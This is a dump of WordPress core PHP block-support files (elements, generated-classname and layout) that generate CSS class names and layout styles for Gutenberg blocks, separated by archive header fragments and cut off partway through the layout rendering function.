'gradient' ), array( 'h2', 'color', 'text' ), array( 'h2', 'color', 'background' ), array( 'h2', 'color', 'gradient' ), array( 'h3', 'color', 'text' ), array( 'h3', 'color', 'background' ), array( 'h3', 'color', 'gradient' ), array( 'h4', 'color', 'text' ), array( 'h4', 'color', 'background' ), array( 'h4', 'color', 'gradient' ), array( 'h5', 'color', 'text' ), array( 'h5', 'color', 'background' ), array( 'h5', 'color', 'gradient' ), array( 'h6', 'color', 'text' ), array( 'h6', 'color', 'background' ), array( 'h6', 'color', 'gradient' ), ), ), ); $elements_style_attributes = $block['attrs']['style']['elements']; foreach ( $element_color_properties as $element_config ) { if ( $element_config['skip'] ) { continue; } foreach ( $element_config['paths'] as $path ) { if ( null !== _wp_array_get( $elements_style_attributes, $path, null ) ) { return true; } } } return false; } /** * Render the elements stylesheet and adds elements class name to block as required. * * In the case of nested blocks we want the parent element styles to be rendered before their descendants. * This solves the issue of an element (e.g.: link color) being styled in both the parent and a descendant: * we want the descendant style to take priority, and this is done by loading it after, in DOM order. * * @since 6.0.0 * @since 6.1.0 Implemented the style engine to generate CSS and classnames. * @since 6.6.0 Element block support class and styles are generated via the `render_block_data` filter instead of `pre_render_block`. * @access private * * @param array $parsed_block The parsed block. * @return array The same parsed block with elements classname added if appropriate. */ function wp_render_elements_support_styles( $parsed_block ) { /* * The generation of element styles and classname were moved to the * `render_block_data` filter in 6.6.0 to avoid filtered attributes * breaking the application of the elements CSS class. * * @link https://github.com/WordPress/gutenberg/pull/59535 * * The change in filter means, the argument types for this function * have changed and require deprecating. */ if ( is_string( $parsed_block ) ) { _deprecated_argument( __FUNCTION__, '6.6.0', __( 'Use as a `pre_render_block` filter is deprecated. Use with `render_block_data` instead.' ) ); } $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $parsed_block['blockName'] ); $element_block_styles = $parsed_block['attrs']['style']['elements'] ?? null; if ( ! $element_block_styles ) { return $parsed_block; } $skip_link_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'link' ); $skip_heading_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'heading' ); $skip_button_color_serialization = wp_should_skip_block_supports_serialization( $block_type, 'color', 'button' ); $skips_all_element_color_serialization = $skip_link_color_serialization && $skip_heading_color_serialization && $skip_button_color_serialization; if ( $skips_all_element_color_serialization ) { return $parsed_block; } $options = array( 'button' => array( 'skip' => $skip_button_color_serialization ), 'link' => array( 'skip' => $skip_link_color_serialization ), 'heading' => array( 'skip' => $skip_heading_color_serialization ), ); if ( ! wp_should_add_elements_class_name( $parsed_block, $options ) ) { return $parsed_block; } $class_name = wp_get_elements_class_name( $parsed_block ); $updated_class_name = isset( $parsed_block['attrs']['className'] ) ? $parsed_block['attrs']['className'] . " $class_name" : $class_name; _wp_array_set( $parsed_block, array( 'attrs', 'className' ), $updated_class_name ); // Generate element styles based on selector and store in style engine for enqueuing. $element_types = array( 'button' => array( 'selector' => ".$class_name .wp-element-button, .$class_name .wp-block-button__link", 'skip' => $skip_button_color_serialization, ), 'link' => array( 'selector' => ".$class_name a:where(:not(.wp-element-button))", 'hover_selector' => ".$class_name a:where(:not(.wp-element-button)):hover", 'skip' => $skip_link_color_serialization, ), 'heading' => array( 'selector' => ".$class_name h1, .$class_name h2, .$class_name h3, .$class_name h4, .$class_name h5, .$class_name h6", 'skip' => $skip_heading_color_serialization, 'elements' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ), ), ); foreach ( $element_types as $element_type => $element_config ) { if ( $element_config['skip'] ) { continue; } $element_style_object = $element_block_styles[ $element_type ] ?? null; // Process primary element type styles. if ( $element_style_object ) { wp_style_engine_get_styles( $element_style_object, array( 'selector' => $element_config['selector'], 'context' => 'block-supports', ) ); if ( isset( $element_style_object[':hover'] ) ) { wp_style_engine_get_styles( $element_style_object[':hover'], array( 'selector' => $element_config['hover_selector'], 'context' => 'block-supports', ) ); } } // Process related elements e.g. h1-h6 for headings. if ( isset( $element_config['elements'] ) ) { foreach ( $element_config['elements'] as $element ) { $element_style_object = $element_block_styles[ $element ] ?? null; if ( $element_style_object ) { wp_style_engine_get_styles( $element_style_object, array( 'selector' => ".$class_name $element", 'context' => 'block-supports', ) ); } } } } return $parsed_block; } /** * Ensure the elements block support class name generated, and added to * block attributes, in the `render_block_data` filter gets applied to the * block's markup. * * @see wp_render_elements_support_styles * @since 6.6.0 * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_elements_class_name( $block_content, $block ) { $class_string = $block['attrs']['className'] ?? ''; preg_match( '/\bwp-elements-\S+\b/', $class_string, $matches ); if ( empty( $matches ) ) { return $block_content; } $tags = new WP_HTML_Tag_Processor( $block_content ); if ( $tags->next_tag() ) { $tags->add_class( $matches[0] ); } return $tags->get_updated_html(); } add_filter( 'render_block', 'wp_render_elements_class_name', 10, 2 ); add_filter( 'render_block_data', 'wp_render_elements_support_styles', 10, 1 ); PK @�\]@�� � generated-classname.phpnu �[��� <?php /** * Generated classname block support flag. * * @package WordPress * @since 5.6.0 */ /** * Gets the generated classname from a given block name. * * @since 5.6.0 * * @access private * * @param string $block_name Block Name. * @return string Generated classname. */ function wp_get_block_default_classname( $block_name ) { // Generated HTML classes for blocks follow the `wp-block-{name}` nomenclature. // Blocks provided by WordPress drop the prefixes 'core/' or 'core-' (historically used in 'core-embed/'). $classname = 'wp-block-' . preg_replace( '/^core-/', '', str_replace( '/', '-', $block_name ) ); /** * Filters the default block className for server rendered blocks. * * @since 5.6.0 * * @param string $class_name The current applied classname. * @param string $block_name The block name. */ $classname = apply_filters( 'block_default_classname', $classname, $block_name ); return $classname; } /** * Adds the generated classnames to the output. * * @since 5.6.0 * * @access private * * @param WP_Block_Type $block_type Block Type. * @return array Block CSS classes and inline styles. */ function wp_apply_generated_classname_support( $block_type ) { $attributes = array(); $has_generated_classname_support = block_has_support( $block_type, 'className', true ); if ( $has_generated_classname_support ) { $block_classname = wp_get_block_default_classname( $block_type->name ); if ( $block_classname ) { $attributes['class'] = $block_classname; } } return $attributes; } // Register the block support. WP_Block_Supports::get_instance()->register( 'generated-classname', array( 'apply' => 'wp_apply_generated_classname_support', ) ); PK @�\k7B�@� @� layout.phpnu ȯ�� <?php /** * Layout block support flag. * * @package WordPress * @since 5.8.0 */ /** * Gets the first style variation name from a className string that matches a registered style. * * @since 7.0.0 * * @param string $class_name CSS class string for a block. * @param array<string, array<string, mixed>> $registered_styles Currently registered block styles. * @return string|null The name of the first registered variation, or null if none found. */ function wp_get_block_style_variation_name_from_registered_style( string $class_name, array $registered_styles = array() ): ?string { if ( ! $class_name ) { return null; } $registered_names = array_filter( array_column( $registered_styles, 'name' ) ); $prefix = 'is-style-'; $length = strlen( $prefix ); foreach ( explode( ' ', $class_name ) as $class ) { if ( str_starts_with( $class, $prefix ) ) { $variation = substr( $class, $length ); if ( 'default' !== $variation && in_array( $variation, $registered_names, true ) ) { return $variation; } } } return null; } /** * Returns layout definitions, keyed by layout type. * * Provides a common definition of slugs, classnames, base styles, and spacing styles for each layout type. * When making changes or additions to layout definitions, the corresponding JavaScript definitions should * also be updated. * * @since 6.3.0 * @since 6.6.0 Updated specificity for compatibility with 0-1-0 global styles specificity. * @access private * * @return array[] Layout definitions. */ function wp_get_layout_definitions() { $layout_definitions = array( 'default' => array( 'name' => 'default', 'slug' => 'flow', 'className' => 'is-layout-flow', 'baseStyles' => array( array( 'selector' => ' > .alignleft', 'rules' => array( 'float' => 'left', 'margin-inline-start' => '0', 'margin-inline-end' => '2em', ), ), array( 'selector' => ' > .alignright', 'rules' => array( 'float' => 'right', 'margin-inline-start' => '2em', 'margin-inline-end' => '0', ), ), array( 'selector' => ' > .aligncenter', 'rules' => array( 'margin-left' => 'auto !important', 'margin-right' => 'auto !important', ), ), ), 'spacingStyles' => array( array( 'selector' => ' > :first-child', 'rules' => array( 'margin-block-start' => '0', ), ), array( 'selector' => ' > :last-child', 'rules' => array( 'margin-block-end' => '0', ), ), array( 'selector' => ' > *', 'rules' => array( 'margin-block-start' => null, 'margin-block-end' => '0', ), ), ), ), 'constrained' => array( 'name' => 'constrained', 'slug' => 'constrained', 'className' => 'is-layout-constrained', 'baseStyles' => array( array( 'selector' => ' > .alignleft', 'rules' => array( 'float' => 'left', 'margin-inline-start' => '0', 'margin-inline-end' => '2em', ), ), array( 'selector' => ' > .alignright', 'rules' => array( 'float' => 'right', 'margin-inline-start' => '2em', 'margin-inline-end' => '0', ), ), array( 'selector' => ' > .aligncenter', 'rules' => array( 'margin-left' => 'auto !important', 'margin-right' => 'auto !important', ), ), array( 'selector' => ' > :where(:not(.alignleft):not(.alignright):not(.alignfull))', 'rules' => array( 'max-width' => 'var(--wp--style--global--content-size)', 'margin-left' => 'auto !important', 'margin-right' => 'auto !important', ), ), array( 'selector' => ' > .alignwide', 'rules' => array( 'max-width' => 'var(--wp--style--global--wide-size)', ), ), ), 'spacingStyles' => array( array( 'selector' => ' > :first-child', 'rules' => array( 'margin-block-start' => '0', ), ), array( 'selector' => ' > :last-child', 'rules' => array( 'margin-block-end' => '0', ), ), array( 'selector' => ' > *', 'rules' => array( 'margin-block-start' => null, 'margin-block-end' => '0', ), ), ), ), 'flex' => array( 'name' => 'flex', 'slug' => 'flex', 'className' => 'is-layout-flex', 'displayMode' => 'flex', 'baseStyles' => array( array( 'selector' => '', 'rules' => array( 'flex-wrap' => 'wrap', 'align-items' => 'center', ), ), array( 'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001. 'rules' => array( 'margin' => '0', ), ), ), 'spacingStyles' => array( array( 'selector' => '', 'rules' => array( 'gap' => null, ), ), ), ), 'grid' => array( 'name' => 'grid', 'slug' => 'grid', 'className' => 'is-layout-grid', 'displayMode' => 'grid', 'baseStyles' => array( array( 'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001. 'rules' => array( 'margin' => '0', ), ), ), 'spacingStyles' => array( array( 'selector' => '', 'rules' => array( 'gap' => null, ), ), ), ), ); return $layout_definitions; } /** * Registers the layout block attribute for block types that support it. * * @since 5.8.0 * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`. * @access private * * @param WP_Block_Type $block_type Block Type. */ function wp_register_layout_support( $block_type ) { $support_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false ); if ( $support_layout ) { if ( ! $block_type->attributes ) { $block_type->attributes = array(); } if ( ! array_key_exists( 'layout', $block_type->attributes ) ) { $block_type->attributes['layout'] = array( 'type' => 'object', ); } } } /** * Generates the CSS corresponding to the provided layout. * * @since 5.9.0 * @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles. * @since 6.3.0 Added grid layout type. * @since 6.6.0 Removed duplicated selector from layout styles. * Enabled negative margins for alignfull children of blocks with custom padding. * @access private * * @param string $selector CSS selector. * @param array $layout Layout object. The one that is passed has already checked * the existence of default block layout. * @param bool $has_block_gap_support Optional. Whether the theme has support for the block gap. Default false. * @param string|string[]|null $gap_value Optional. The block gap value to apply. Default null. * @param bool $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false. * @param string|array $fallback_gap_value Optional. The block gap value to apply. If it's an array expected properties are "top" and/or "left". Default '0.5em'. * @param array|null $block_spacing Optional. Custom spacing set on the block. Default null. * @return string CSS styles on success. Else, empty string. */ function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null ) { $layout_type = $layout['type'] ?? 'default'; $layout_styles = array(); if ( 'default' === $layout_type ) { if ( $has_block_gap_support ) { if ( is_array( $gap_value ) ) { $gap_value = $gap_value['top'] ?? null; } if ( null !== $gap_value && ! $should_skip_gap_serialization ) { // Get spacing CSS variable from preset value if provided. if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) ); $gap_value = "var(--wp--preset--spacing--$slug)"; } array_push( $layout_styles, array( 'selector' => "$selector > *", 'declarations' => array( 'margin-block-start' => '0', 'margin-block-end' => '0', ), ), array( 'selector' => "$selector > * + *", 'declarations' => array( 'margin-block-start' => $gap_value, 'margin-block-end' => '0', ), ) ); } } } elseif ( 'constrained' === $layout_type ) { $content_size = $layout['contentSize'] ?? ''; $wide_size = $layout['wideSize'] ?? ''; $justify_content = $layout['justifyContent'] ?? 'center'; $all_max_width_value = $content_size ? $content_size : $wide_size; $wide_max_width_value = $wide_size ? $wide_size : $content_size; // Make sure there is a single CSS rule, and all tags are stripped for security. $all_max_width_value = safecss_filter_attr( explode( ';', $all_max_width_value )[0] ); $wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] ); $margin_left = 'left' === $justify_content ? '0 !important' : 'auto !important'; $margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important'; if ( $content_size || $wide_size ) { array_push( $layout_styles, array( 'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array( 'max-width' => $all_max_width_value, 'margin-left' => $margin_left, 'margin-right' => $margin_right, ), ), array( 'selector' => "$selector > .alignwide", 'declarations' => array( 'max-width' => $wide_max_width_value ), ), array( 'selector' => "$selector .alignfull", 'declarations' => array( 'max-width' => 'none' ), ) ); } if ( isset( $block_spacing ) ) { $block_spacing_values = wp_style_engine_get_styles( array( 'spacing' => $block_spacing, ) ); /* * Handle negative margins for alignfull children of blocks with custom padding set. * They're added separately because padding might only be set on one side. */ if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) { $padding_right = $block_spacing_values['declarations']['padding-right']; // Add unit if 0. if ( '0' === $padding_right ) { $padding_right = '0px'; } $layout_styles[] = array( 'selector' => "$selector > .alignfull", 'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ), ); } if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) { $padding_left = $block_spacing_values['declarations']['padding-left']; // Add unit if 0. if ( '0' === $padding_left ) { $padding_left = '0px'; } $layout_styles[] = array( 'selector' => "$selector > .alignfull", 'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ), ); } } if ( 'left' === $justify_content ) { $layout_styles[] = array( 'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array( 'margin-left' => '0 !important' ), ); } if ( 'right' === $justify_content ) { $layout_styles[] = array( 'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))", 'declarations' => array( 'margin-right' => '0 !important' ), ); } if ( $has_block_gap_support ) { if ( is_array( $gap_value ) ) { $gap_value = $gap_value['top'] ?? null; } if ( null !== $gap_value && ! $should_skip_gap_serialization ) { // Get spacing CSS variable from preset value if provided. if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) ); $gap_value = "var(--wp--preset--spacing--$slug)"; } array_push( $layout_styles, array( 'selector' => "$selector > *", 'declarations' => array( 'margin-block-start' => '0', 'margin-block-end' => '0', ), ), array( 'selector' => "$selector > * + *", 'declarations' => array( 'margin-block-start' => $gap_value, 'margin-block-end' => '0', ), ) ); } } } elseif ( 'flex' === $layout_type ) { $layout_orientation = $layout['orientation'] ?? 'horizontal'; $justify_content_options = array( 'left' => 'flex-start', 'right' => 'flex-end', 'center' => 'center', ); $vertical_alignment_options = array( 'top' => 'flex-start', 'center' => 'center', 'bottom' => 'flex-end', ); if ( 'horizontal' === $layout_orientation ) { $justify_content_options += array( 'space-between' => 'space-between' ); $vertical_alignment_options += array( 'stretch' => 'stretch' ); } else { $justify_content_options += array( 'stretch' => 'stretch' ); $vertical_alignment_options += array( 'space-between' => 'space-between' ); } if ( ! empty( $layout['flexWrap'] ) && 'nowrap' === $layout['flexWrap'] ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'flex-wrap' => 'nowrap' ), ); } if ( $has_block_gap_support && isset( $gap_value ) ) { $combined_gap_value = ''; $gap_sides = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' ); foreach ( $gap_sides as $gap_side ) { $process_value = $gap_value; if ( is_array( $gap_value ) ) { if ( is_array( $fallback_gap_value ) ) { $fallback_value = $fallback_gap_value[ $gap_side ] ?? reset( $fallback_gap_value ); } else { $fallback_value = $fallback_gap_value; } $process_value = $gap_value[ $gap_side ] ?? $fallback_value; } // Get spacing CSS variable from preset value if provided. if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $process_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) ); $process_value = "var(--wp--preset--spacing--$slug)"; } $combined_gap_value .= "$process_value "; } $gap_value = trim( $combined_gap_value ); if ( null !== $gap_value && ! $should_skip_gap_serialization ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'gap' => $gap_value ), ); } } if ( 'horizontal' === $layout_orientation ) { /* * Add this style only if is not empty for backwards compatibility, * since we intend to convert blocks that had flex layout implemented * by custom css. */ if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'justify-content' => $justify_content_options[ $layout['justifyContent'] ] ), ); } if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ), ); } } else { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'flex-direction' => 'column' ), ); if ( ! empty( $layout['justifyContent'] ) && array_key_exists( $layout['justifyContent'], $justify_content_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'align-items' => $justify_content_options[ $layout['justifyContent'] ] ), ); } else { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'align-items' => 'flex-start' ), ); } if ( ! empty( $layout['verticalAlignment'] ) && array_key_exists( $layout['verticalAlignment'], $vertical_alignment_options ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout['verticalAlignment'] ] ), ); } } } elseif ( 'grid' === $layout_type ) { /* * If the gap value is an array, we use the "left" value because it represents the vertical gap, which * is the relevant one for computation of responsive grid columns. */ if ( is_array( $fallback_gap_value ) ) { $responsive_gap_value = $fallback_gap_value['left'] ?? reset( $fallback_gap_value ); } else { $responsive_gap_value = $fallback_gap_value; } if ( $has_block_gap_support && isset( $gap_value ) ) { $combined_gap_value = ''; $gap_sides = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' ); foreach ( $gap_sides as $gap_side ) { $process_value = $gap_value; if ( is_array( $gap_value ) ) { if ( is_array( $fallback_gap_value ) ) { $fallback_value = $fallback_gap_value[ $gap_side ] ?? reset( $fallback_gap_value ); } else { $fallback_value = $fallback_gap_value; } $process_value = $gap_value[ $gap_side ] ?? $fallback_value; } // Get spacing CSS variable from preset value if provided. if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $process_value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) ); $process_value = "var(--wp--preset--spacing--$slug)"; } $combined_gap_value .= "$process_value "; } $gap_value = trim( $combined_gap_value ); $responsive_gap_value = $gap_value; } // Ensure 0 values have a unit so they work in calc(). if ( '0' === $responsive_gap_value || 0 === $responsive_gap_value ) { $responsive_gap_value = '0px'; } if ( ! empty( $layout['columnCount'] ) && ! empty( $layout['minimumColumnWidth'] ) ) { $max_value = 'max(min(' . $layout['minimumColumnWidth'] . ', 100%), (100% - (' . $responsive_gap_value . ' * (' . $layout['columnCount'] . ' - 1))) /' . $layout['columnCount'] . ')'; $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'grid-template-columns' => 'repeat(auto-fill, minmax(' . $max_value . ', 1fr))', 'container-type' => 'inline-size', ), ); if ( ! empty( $layout['rowCount'] ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'grid-template-rows' => 'repeat(' . $layout['rowCount'] . ', minmax(1rem, auto))' ), ); } } elseif ( ! empty( $layout['columnCount'] ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'grid-template-columns' => 'repeat(' . $layout['columnCount'] . ', minmax(0, 1fr))' ), ); if ( ! empty( $layout['rowCount'] ) ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'grid-template-rows' => 'repeat(' . $layout['rowCount'] . ', minmax(1rem, auto))' ), ); } } else { $minimum_column_width = ! empty( $layout['minimumColumnWidth'] ) ? $layout['minimumColumnWidth'] : '12rem'; $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'grid-template-columns' => 'repeat(auto-fill, minmax(min(' . $minimum_column_width . ', 100%), 1fr))', 'container-type' => 'inline-size', ), ); } if ( $has_block_gap_support && null !== $gap_value && ! $should_skip_gap_serialization ) { $layout_styles[] = array( 'selector' => $selector, 'declarations' => array( 'gap' => $gap_value ), ); } } if ( ! empty( $layout_styles ) ) { /* * Add to the style engine store to enqueue and render layout styles. * Return compiled layout styles to retain backwards compatibility. * Since https://github.com/WordPress/gutenberg/pull/42452, * wp_enqueue_block_support_styles is no longer called in this block supports file. */ return wp_style_engine_get_stylesheet_from_css_rules( $layout_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); } return ''; } /** * Renders the layout config to the block wrapper. * * @since 5.8.0 * @since 6.3.0 Adds compound class to layout wrapper for global spacing styles. * @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`. * @since 6.6.0 Removed duplicate container class from layout styles. * @access private * * @param string $block_content Rendered block content. * @param array $block Block object. * @return string Filtered block content. */ function wp_render_layout_support_flag( $block_content, $block ) { static $global_styles = null; $block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] ); $block_supports_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false ); $child_layout = $block['attrs']['style']['layout'] ?? null; if ( ! $block_supports_layout && ! $child_layout ) { return $block_content; } $outer_class_names = array(); // Child layout specific logic. if ( $child_layout ) { /* * Generates a unique class for child block layout styles. * * To ensure consistent class generation across different page renders, * only properties that affect layout styling are used. These properties * come from `$block['attrs']['style']['layout']` and `$block['parentLayout']`. * * As long as these properties coincide, the generated class will be the same. */ $container_content_class = wp_unique_id_from_values( array( 'layout' => array_intersect_key( $block['attrs']['style']['layout'] ?? array(), array_flip( array( 'selfStretch', 'flexSize', 'columnStart', 'columnSpan', 'rowStart', 'rowSpan' ) ) ), 'parentLayout' => array_intersect_key( $block['parentLayout'] ?? array(), array_flip( array( 'minimumColumnWidth', 'columnCount' ) ) ), ), 'wp-container-content-' ); $child_layout_declarations = array(); $child_layout_styles = array(); $self_stretch = $child_layout['selfStretch'] ?? null; if ( 'fixed' === $self_stretch && isset( $child_layout['flexSize'] ) ) { $child_layout_declarations['flex-basis'] = $child_layout['flexSize']; $child_layout_declarations['box-sizing'] = 'border-box'; } elseif ( 'fill' === $self_stretch ) { $child_layout_declarations['flex-grow'] = '1'; } if ( isset( $child_layout['columnSpan'] ) ) { $column_span = $child_layout['columnSpan']; $child_layout_declarations['grid-column'] = "span $column_span"; } if ( isset( $child_layout['rowSpan'] ) ) { $row_span = $child_layout['rowSpan']; $child_layout_declarations['grid-row'] = "span $row_span"; } $child_layout_styles[] = array( 'selector' => ".$container_content_class", 'declarations' => $child_layout_declarations, ); /* * If columnSpan is set, and the parent grid is responsive, i.e. if it has a minimumColumnWidth set, * the columnSpan should be removed on small grids. If there's a minimumColumnWidth, the grid is responsive. * But if the minimumColumnWidth value wasn't changed, it won't be set. In that case, if columnCount doesn't * exist, we can assume that the grid is responsive. */ if ( isset( $child_layout['columnSpan'] ) && ( isset( $block['parentLayout']['minimumColumnWidth'] ) || ! isset( $block['parentLayout']['columnCount'] ) ) ) { $column_span_number = floatval( $child_layout['columnSpan'] ); $parent_column_width = $block['parentLayout']['minimumColumnWidth'] ?? '12rem'; $parent_column_value = floatval( $parent_column_width ); $parent_column_unit = explode( $parent_column_value, $parent_column_width ); /* * If there is no unit, the width has somehow been mangled so we reset both unit and value * to defaults. * Additionally, the unit should be one of px, rem or em, so that also needs to be checked. */ if ( count( $parent_column_unit ) <= 1 ) { $parent_column_unit = 'rem'; $parent_column_value = 12; } else { $parent_column_unit = $parent_column_unit[1]; if ( ! in_array( $parent_column_unit, array( 'px', 'rem', 'em' ), true ) ) { $parent_column_unit = 'rem'; } } /* * A default gap value is used for this computation because custom gap values may not be * viable to use in the computation of the container query value. */ $default_gap_value = 'px' === $parent_column_unit ? 24 : 1.5; $container_query_value = $column_span_number * $parent_column_value + ( $column_span_number - 1 ) * $default_gap_value; $container_query_value = $container_query_value . $parent_column_unit; $child_layout_styles[] = array( 'rules_group' => "@container (max-width: $container_query_value )", 'selector' => ".$container_content_class", 'declarations' => array( 'grid-column' => '1/-1', ), ); } /* * Add to the style engine store to enqueue and render layout styles. * Return styles here just to check if any exist. */ $child_css = wp_style_engine_get_stylesheet_from_css_rules( $child_layout_styles, array( 'context' => 'block-supports', 'prettify' => false, ) ); if ( $child_css ) { $outer_class_names[] = $container_content_class; } } // Prep the processor for modifying the block output. $processor = new WP_HTML_Tag_Processor( $block_content ); // Having no tags implies there are no tags onto which to add class names. if ( ! $processor->next_tag() ) { return $block_content; } /* * A block may not support layout but still be affected by a parent block's layout. * * In these cases add the appropriate class names and then return early; there's * no need to investigate on this block whether additional layout constraints apply. */ if ( ! $block_supports_layout && ! empty( $outer_class_names ) ) { foreach ( $outer_class_names as $class_name ) { $processor->add_class( $class_name ); } return $processor->get_updated_html(); } elseif ( ! $block_supports_layout ) { // Ensure layout classnames are not injected if there is no layout support. return $block_content; } $global_settings = wp_get_global_settings(); $fallback_layout = $block_type->supports['layout']['default'] ?? array(); if ( empty( $fallback_layout ) ) { $fallback_layout = $block_type->supports['__experimentalLayout']['default'] ?? array(); } $used_layout = $block['attrs']['layout'] ?? $fallback_layout; $class_names = array(); $layout_definitions = wp_get_layout_definitions(); // Set the correct layout type for blocks using legacy content width. if ( isset( $used_layout['inherit'] ) && $used_layout['inherit'] || isset( $used_layout['contentSize'] ) && $used_layout['contentSize'] ) { $used_layout['type'] = 'constrained'; } $root_padding_aware_alignments = $global_settings['useRootPaddingAwareAlignments'] ?? false; if ( $root_padding_aware_alignments && isset( $used_layout['type'] ) && 'constrained' === $used_layout['type'] ) { $class_names[] = 'has-global-padding'; } /* * The following section was added to reintroduce a small set of layout classnames that were * removed in the 5.9 release (https://github.com/WordPress/gutenberg/issues/38719). It is * not intended to provide an extended set of classes to match all block layout attributes * here. */ if ( ! empty( $block['attrs']['layout']['orientation'] ) ) { $class_names[] = 'is-' . sanitize_title( $block['attrs']['layout']['orientation'] ); } if ( ! empty( $block['attrs']['layout']['justifyContent'] ) ) { $class_names[] = 'is-content-justification-' . sanitize_title( $block['attrs']['layout']['justifyContent'] ); } if ( ! empty( $block['attrs']['layout']['flexWrap'] ) && 'nowrap' === $block['attrs']['layout']['flexWrap'] ) { $class_names[] = 'is-nowrap'; } // Get classname for layout type. if ( isset( $used_layout['type'] ) ) { $layout_classname = $layout_definitions[ $used_layout['type'] ]['className'] ?? ''; } else { $layout_classname = $layout_definitions['default']['className'] ?? ''; } if ( $layout_classname && is_string( $layout_classname ) ) { $class_names[] = sanitize_title( $layout_classname ); } /* * Only generate Layout styles if the theme has not opted-out. * Attribute-based Layout classnames are output in all cases. */ if ( ! current_theme_supports( 'disable-layout-styles' ) ) { $gap_value = $block['attrs']['style']['spacing']['blockGap'] ?? null; /* * Skip if gap value contains unsupported characters. * Regex for CSS value borrowed from `safecss_filter_attr`, and used here * to only match against the value, not the CSS attribute. */ if ( is_array( $gap_value ) ) { foreach ( $gap_value as $key => $value ) { $gap_value[ $key ] = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; } } else { $gap_value = $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value; } $fallback_gap_value = $block_type->supports['spacing']['blockGap']['__experimentalDefault'] ?? '0.5em'; $block_spacing = $block['attrs']['style']['spacing'] ?? null; /* * If a block's block.json skips serialization for spacing or spacing.blockGap, * don't apply the user-defined value to the styles. */ $should_skip_gap_serialization = wp_should_skip_block_supports_serialization( $block_type, 'spacing', 'blockGap' ); $block_gap = $global_settings['spacing']['blockGap'] ?? null; $has_block_gap_support = isset( $block_gap ); // Get default blockGap value from global styles for use in layouts like grid. // Check style variation first, then block-specific styles, then fall back to root styles. $block_name = $block['blockName'] ?? ''; if ( null === $global_styles ) { $global_styles = wp_get_global_styles(); } // Check if the block has an active style variation with a blockGap value. // Only check the registry if the className contains a variation class to avoid unnecessary lookups. $variation_block_gap_value = null; $block_class_name = $block['attrs']['className'] ?? ''; if ( $block_class_name && str_contains( $block_class_name, 'is-style-' ) && $block_name ) { $styles_registry = WP_Block_Styles_Registry::get_instance(); $registered_styles = $styles_registry->get_registered_styles_for_block( $block_name ); $variation_name = wp_get_block_style_variation_name_from_registered_style( $block_class_name, $registered_styles ); if ( $variation_name ) { $variation_block_gap_value = $global_styles['blocks'][ $block_name ]['variations'][ $variation_name ]['spacing']['blockGap'] ?? null; } } $global_block_gap_value = $variation_block_gap_value ?? $global_styles['blocks'][ $block_name ]['spacing']['blockGap'] ?? $global_styles['spacing']['blockGap'] ?? null; if ( null !== $global_block_gap_value ) { $fallback_gap_value = $global_block_gap_value; } /* * Generates a 